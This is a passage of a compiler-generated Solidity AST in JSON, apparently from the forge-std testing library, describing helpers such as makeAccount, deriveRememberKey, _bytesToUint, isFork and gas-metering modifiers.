3793_memory_ptr","typeString":"struct StdCheatsSafe.Account memory"}},"id":5358,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"21427:4:3","memberName":"addr","nodeType":"MemberAccess","referencedDeclaration":3790,"src":"21419:12:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":5359,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5354,"src":"21433:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Account_$3793_memory_ptr","typeString":"struct StdCheatsSafe.Account memory"}},"id":5360,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"21441:3:3","memberName":"key","nodeType":"MemberAccess","referencedDeclaration":3792,"src":"21433:11:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":5361,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"21418:27:3","typeDescriptions":{"typeIdentifier":"t_tuple$_t_address_$_t_uint256_$","typeString":"tuple(address,uint256)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":5363,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5350,"src":"21463:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":5362,"name":"makeAddrAndKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5284,"src":"21448:14:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$_t_uint256_$","typeString":"function (string memory) returns (address,uint256)"}},"id":5364,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21448:20:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_address_$_t_uint256_$","typeString":"tuple(address,uint256)"}},"src":"21418:50:3","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5366,"nodeType":"ExpressionStatement","src":"21418:50:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"makeAccount","nameLocation":"21326:11:3","parameters":{"id":5351,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5350,"mutability":"mutable","name":"name","nameLocation":"21352:4:3","nodeType":"VariableDeclaration","scope":5368,"src":"21338:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5349,"name":"string","nodeType":"ElementaryTypeName","src":"21338:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21337:20:3"},"returnParameters":{"id":5355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5354,"mutability":"mutable","name":"account","nameLocation":"21399:7:3","nodeType":"VariableDeclaration","scope":5368,"src":"21384:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Account_$3793_memory_ptr","typeString":"struct StdCheatsSafe.Account"},"typeName":{"id":5353,"nodeType":"UserDefinedTypeName","pathNode":{"id":5352,"name":"Account","nameLocations":["21384:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3793,"src":"21384:7:3"},"referencedDeclaration":3793,"src":"21384:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Account_$3793_storage_ptr","typeString":"struct StdCheatsSafe.Account"}},"visibility":"internal"}],"src":"21383:24:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5395,"nodeType":"FunctionDefinition","src":"21481:253:3","nodes":[],"body":{"id":5394,"nodeType":"Block","src":"21633:101:3","nodes":[],"statements":[{"expression":{"id":5385,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5379,"name":"privateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5377,"src":"21643:10:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":5382,"name":"mnemonic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5370,"src":"21669:8:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":5383,"name":"index","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5372,"src":"21679:5:3","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint32","typeString":"uint32"}],"expression":{"id":5380,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21656:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5381,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21659:9:3","memberName":"deriveKey","nodeType":"MemberAccess","referencedDeclaration":14979,"src":"21656:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_uint32_$returns$_t_uint256_$","typeString":"function (string memory,uint32) pure external returns (uint256)"}},"id":5384,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21656:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"21643:42:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5386,"nodeType":"ExpressionStatement","src":"21643:42:3"},{"expression":{"id":5392,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5387,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5375,"src":"21695:3:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":5390,"name":"privateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5377,"src":"21716:10:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5388,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21701:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5389,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21704:11:3","memberName":"rememberKey","nodeType":"MemberAccess","referencedDeclaration":15050,"src":"21701:14:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$_t_address_$","typeString":"function (uint256) external returns (address)"}},"id":5391,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21701:26:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"21695:32:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5393,"nodeType":"ExpressionStatement","src":"21695:32:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deriveRememberKey","nameLocation":"21490:17:3","parameters":{"id":5373,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5370,"mutability":"mutable","name":"mnemonic","nameLocation":"21522:8:3","nodeType":"VariableDeclaration","scope":5395,"src":"21508:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5369,"name":"string","nodeType":"ElementaryTypeName","src":"21508:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":5372,"mutability":"mutable","name":"index","nameLocation":"21539:5:3","nodeType":"VariableDeclaration","scope":5395,"src":"21532:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"},"typeName":{"id":5371,"name":"uint32","nodeType":"ElementaryTypeName","src":"21532:6:3","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"visibility":"internal"}],"src":"21507:38:3"},"returnParameters":{"id":5378,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5375,"mutability":"mutable","name":"who","nameLocation":"21604:3:3","nodeType":"VariableDeclaration","scope":5395,"src":"21596:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5374,"name":"address","nodeType":"ElementaryTypeName","src":"21596:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5377,"mutability":"mutable","name":"privateKey","nameLocation":"21617:10:3","nodeType":"VariableDeclaration","scope":5395,"src":"21609:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5376,"name":"uint256","nodeType":"ElementaryTypeName","src":"21609:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"21595:33:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5429,"nodeType":"FunctionDefinition","src":"21740:253:3","nodes":[],"body":{"id":5428,"nodeType":"Block","src":"21809:184:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5406,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":5403,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5397,"src":"21827:1:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":5404,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21829:6:3","memberName":"length","nodeType":"MemberAccess","src":"21827:8:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"hexValue":"3332","id":5405,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"21839:2:3","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"src":"21827:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473205f6279746573546f55696e74286279746573293a204279746573206c656e67746820657863656564732033322e","id":5407,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21843:57:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_b4b692fb570df93e970ec8540fb3e2b3774022687951840fb5414e81f7899b71","typeString":"literal_string \"StdCheats _bytesToUint(bytes): Bytes length exceeds 32.\""},"value":"StdCheats _bytesToUint(bytes): Bytes length exceeds 32."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_b4b692fb570df93e970ec8540fb3e2b3774022687951840fb5414e81f7899b71","typeString":"literal_string \"StdCheats _bytesToUint(bytes): Bytes length exceeds 32.\""}],"id":5402,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"21819:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":5408,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21819:82:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5409,"nodeType":"ExpressionStatement","src":"21819:82:3"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5419,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"3332","id":5416,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"21956:2:3","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"expression":{"id":5417,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5397,"src":"21961:1:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":5418,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21963:6:3","memberName":"length","nodeType":"MemberAccess","src":"21961:8:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"21956:13:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":5415,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"21946:9:3","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_bytes_memory_ptr_$","typeString":"function (uint256) pure returns (bytes memory)"},"typeName":{"id":5414,"name":"bytes","nodeType":"ElementaryTypeName","src":"21950:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}}},"id":5420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21946:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":5421,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5397,"src":"21972:1:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5412,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21929:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5413,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21933:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"21929:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":5422,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21929:45:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":5424,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"21977:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":5423,"name":"uint256","nodeType":"ElementaryTypeName","src":"21977:7:3","typeDescriptions":{}}}],"id":5425,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"21976:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":5410,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21918:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5411,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21922:6:3","memberName":"decode","nodeType":"MemberAccess","src":"21918:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":5426,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21918:68:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":5401,"id":5427,"nodeType":"Return","src":"21911:75:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_bytesToUint","nameLocation":"21749:12:3","parameters":{"id":5398,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5397,"mutability":"mutable","name":"b","nameLocation":"21775:1:3","nodeType":"VariableDeclaration","scope":5429,"src":"21762:14:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5396,"name":"bytes","nodeType":"ElementaryTypeName","src":"21762:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"21761:16:3"},"returnParameters":{"id":5401,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5400,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":5429,"src":"21800:7:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5399,"name":"uint256","nodeType":"ElementaryTypeName","src":"21800:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"21799:9:3"},"scope":5537,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":5450,"nodeType":"FunctionDefinition","src":"21999:160:3","nodes":[],"body":{"id":5449,"nodeType":"Block","src":"22061:98:3","nodes":[],"statements":[{"clauses":[{"block":{"id":5441,"nodeType":"Block","src":"22091:38:3","statements":[{"expression":{"id":5439,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5437,"name":"status","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5432,"src":"22105:6:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":5438,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"22114:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"22105:13:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5440,"nodeType":"ExpressionStatement","src":"22105:13:3"}]},"errorName":"","id":5442,"nodeType":"TryCatchClause","src":"22091:38:3"},{"block":{"id":5446,"nodeType":"Block","src":"22151:2:3","statements":[]},"errorName":"","id":5447,"nodeType":"TryCatchClause","parameters":{"id":5445,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5444,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":5447,"src":"22137:12:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5443,"name":"bytes","nodeType":"ElementaryTypeName","src":"22137:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"22136:14:3"},"src":"22130:23:3"}],"externalCall":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5434,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"22075:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5435,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"22078:10:3","memberName":"activeFork","nodeType":"MemberAccess","referencedDeclaration":15107,"src":"22075:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":5436,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22075:15:3","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5448,"nodeType":"TryStatement","src":"22071:82:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"isFork","nameLocation":"22008:6:3","parameters":{"id":5430,"nodeType":"ParameterList","parameters":[],"src":"22014:2:3"},"returnParameters":{"id":5433,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5432,"mutability":"mutable","name":"status","nameLocation":"22053:6:3","nodeType":"VariableDeclaration","scope":5450,"src":"22048:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":5431,"name":"bool","nodeType":"ElementaryTypeName","src":"22048:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22047:13:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":5459,"nodeType":"ModifierDefinition","src":"22165:84:3","nodes":[],"body":{"id":5458,"nodeType":"Block","src":"22192:57:3","nodes":[],"statements":[{"condition":{"id":5454,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"22206:9:3","subExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":5452,"name":"isFork","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5450,"src":"22207:6:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_bool_$","typeString":"function () view returns (bool)"}},"id":5453,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22207:8:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5457,"nodeType":"IfStatement","src":"22202:41:3","trueBody":{"id":5456,"nodeType":"Block","src":"22217:26:3","statements":[{"id":5455,"nodeType":"PlaceholderStatement","src":"22231:1:3"}]}}]},"name":"skipWhenForking","nameLocation":"22174:15:3","parameters":{"id":5451,"nodeType":"ParameterList","parameters":[],"src":"22189:2:3"},"virtual":false,"visibility":"internal"},{"id":5467,"nodeType":"ModifierDefinition","src":"22255:86:3","nodes":[],"body":{"id":5466,"nodeType":"Block","src":"22285:56:3","nodes":[],"statements":[{"condition":{"arguments":[],"expression":{"argumentTypes":[],"id":5461,"name":"isFork","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5450,"src":"22299:6:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_bool_$","typeString":"function () view returns (bool)"}},"id":5462,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22299:8:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5465,"nodeType":"IfStatement","src":"22295:40:3","trueBody":{"id":5464,"nodeType":"Block","src":"22309:26:3","statements":[{"id":5463,"nodeType":"PlaceholderStatement","src":"22323:1:3"}]}}]},"name":"skipWhenNotForking","nameLocation":"22264:18:3","parameters":{"id":5460,"nodeType":"ParameterList","parameters":[],"src":"22282:2:3"},"virtual":false,"visibility":"internal"},{"id":5497,"nodeType":"ModifierDefinition","src":"22347:884:3","nodes":[],"body":{"id":5496,"nodeType":"Block","src":"22372:859:3","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5469,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"22382:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5471,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"22385:16:3","memberName":"pauseGasMetering","nodeType":"MemberAccess","referencedDeclaration":12609,"src":"22382:19:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":5472,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22382:21:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5473,"nodeType":"ExpressionStatement","src":"22382:21:3"},{"assignments":[5475],"declarations":[{"constant":false,"id":5475,"mutability":"mutable","name":"gasStartedOff","nameLocation":"22946:13:3","nodeType":"VariableDeclaration","scope":5496,"src":"22941:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":5474,"name":"bool","nodeType":"ElementaryTypeName","src":"22941:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":5477,"initialValue":{"id":5476,"name":"gasMeteringOff","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3509,"src":"22962:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"VariableDeclarationStatement","src":"22941:35:3"},{"expression":{"id":5480,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5478,"name":"gasMeteringOff","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3509,"src":"22986:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":5479,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"23003:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"22986:21:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5481,"nodeType":"ExpressionStatement","src":"22986:21:3"},{"id":5482,"nodeType":"PlaceholderStatement","src":"23018:1:3"},{"condition":{"id":5484,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"23126:14:3","subExpression":{"id":5483,"name":"gasStartedOff","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5475,"src":"23127:13:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5495,"nodeType":"IfStatement","src":"23122:103:3","trueBody":{"id":5494,"nodeType":"Block","src":"23142:83:3","statements":[{"expression":{"id":5487,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5485,"name":"gasMeteringOff","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3509,"src":"23156:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"66616c7365","id":5486,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"23173:5:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"23156:22:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5488,"nodeType":"ExpressionStatement","src":"23156:22:3"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5489,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"23192:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5491,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"23195:17:3","memberName":"resumeGasMetering","nodeType":"MemberAccess","referencedDeclaration":12621,"src":"23192:20:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":5492,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23192:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5493,"nodeType":"ExpressionStatement","src":"23192:22:3"}]}}]},"name":"noGasMetering","nameLocation":"22356:13:3","parameters":{"id":5468,"nodeType":"ParameterList","parameters":[],"src":"22369:2:3"},"virtual":false,"visibility":"internal"},{"id":5509,"nodeType":"FunctionDefinition","src":"23595:276:3","nodes":[],"body":{"id":5508,"nodeType":"Block","src":"23658:213:3","nodes":[],"statements":[{"AST":{"nativeSrc":"23753:44:3","nodeType":"YulBlock","src":"23753:44:3","statements":[{"nativeSrc":"23767:20:3","nodeType":"YulAssignment","src":"23767:20:3","value":{"arguments":[],"functionName":{"name":"chainid","nativeSrc":"23778:7:3","nodeType":"YulIdentifier","src":"23778:7:3"},"nativeSrc":"23778:9:3","nodeType":"YulFunctionCall","src":"23778:9:3"},"variableNames":[{"name":"chainId","nativeSrc":"23767:7:3","nodeType":"YulIdentifier","src":"23767:7:3"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":5500,"isOffset":false,"isSlot":false,"src":"23767:7:3","valueSize":1}],"id":5502,"nodeType":"InlineAssembly","src":"23744:53:3"},{"expression":{"arguments":[{"id":5505,"name":"this","nodeType